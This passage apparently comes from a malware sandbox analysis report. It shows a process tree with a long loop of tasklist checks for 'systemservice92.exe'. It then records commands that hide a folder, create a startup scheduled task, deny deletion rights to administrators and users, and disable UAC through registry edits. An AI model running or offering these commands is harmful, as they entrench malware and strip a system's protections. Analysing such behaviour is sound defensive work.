      PID:1624
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2544
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:4424
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3292
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1208
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:8
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5372
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4076
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5392
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3884
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1688
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:1260
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5612
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4308
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5896
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:1284
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5916
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5816
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5268
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:680
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:408
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3744
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3620
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5484
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5216
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4408
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5416
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:2092
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2232
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3460
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3140
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:632
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5156
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5628
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1008
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:1512
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4448
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:292
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:296
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5248
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5408
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:4796
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3184
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5560
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5164
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3588
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:6036
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:436
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:1256
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3308
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5840
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5496
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5684
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5476
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4128
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:916
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:452
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:4124
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5492
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2372
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5328
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5868
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5660
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5756
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3636
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:6040
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:372
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1720
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5716
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:116
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5812
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:1120
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5964
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5912
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:4668
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:4024
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:280
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4576
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5088
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3728
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5028
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1652
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5724
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5124
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5000
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2104
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5112
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4152
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3804
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:4456
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1200
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1452
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:1844
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:2400
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1100
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2808
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:2940
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5636
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2692
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3724
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5584
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3940
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3980
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4996
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4372
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5032
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5836
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5552
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:644
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5752
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:1520
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:1124
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2820
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5268
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5256
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:408
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:6100
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5272
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5484
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5536
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3380
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5152
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5740
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3244
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5144
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5996
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:632
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5920
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4400
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3868
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1008
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5168
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5988
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4448
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3148
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:6008
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5248
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5568
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:1272
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4760
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3120
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4412
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4068
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3408
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:804
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5556
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5472
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5684
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1412
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4676
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:916
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:60
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5512
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5212
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4124
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:6132
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5500
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1676
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:6048
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5784
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5424
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5748
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3992
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2236
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:540
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5848
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5944
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5716
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:2224
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2388
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3648
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5204
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5964
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:592
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3080
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1136
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5908
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2332
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3520
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5804
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3028
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4596
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5616
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2816
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:536
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3036
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5928
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4020
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:396
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4424
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5040
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3644
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:400
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2404
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:1172
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:4076
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3356
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5680
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3724
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4924
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4748
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2792
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:6028
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5832
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5916
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1284
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2644
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5688
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1520
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:2820
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5268
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3744
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:212
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3620
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5136
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5484
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5536
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4420
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5152
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:6136
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4904
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5744
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5956
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3096
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:64
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:1512
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4604
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3888
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5988
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2688
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:4460
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:6008
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3088
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:6120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\$Sys-Manager\systemservice92.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\$Sys-Manager\systemservice92.exe"
      4⤵
      Views/modifies file attributes
      PID:2348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\$Sys-Manager\systemservice.bat""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4380
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\$Sys-Manager\systemservice.bat"
      4⤵
      Views/modifies file attributes
      PID:4404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\$Sys-Manager""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4208
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\$Sys-Manager"
      4⤵
      Views/modifies file attributes
      PID:3440
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn servicebat /tr C:\$Sys-Manager\systemservice.bat /sc onstart /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\$Sys-Manager" /deny *S-1-1-0:(D)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Windows\system32\icacls.exe
      icacls "C:\$Sys-Manager" /deny *S-1-1-0:(D)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1968
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      Modifies registry key
      PID:2412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\$Sys-Manager" /deny *S-1-5-32-544:(D)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Windows\system32\icacls.exe
      icacls "C:\$Sys-Manager" /deny *S-1-5-32-544:(D)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\system32\reg.exe
      reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f
      4⤵
      Modifies registry key
      PID:2396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\$Sys-Manager" /deny *S-1-5-32-545:(D)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1876
  - - C:\Windows\system32\icacls.exe
      icacls "C:\$Sys-Manager" /deny *S-1-5-32-545:(D)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      Modifies registry key
      PID:5104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\$Sys-Manager\desktop.ini""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:892
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\$Sys-Manager\desktop.ini"
      4⤵
      Views/modifies file attributes
      PID:4564

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:228

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
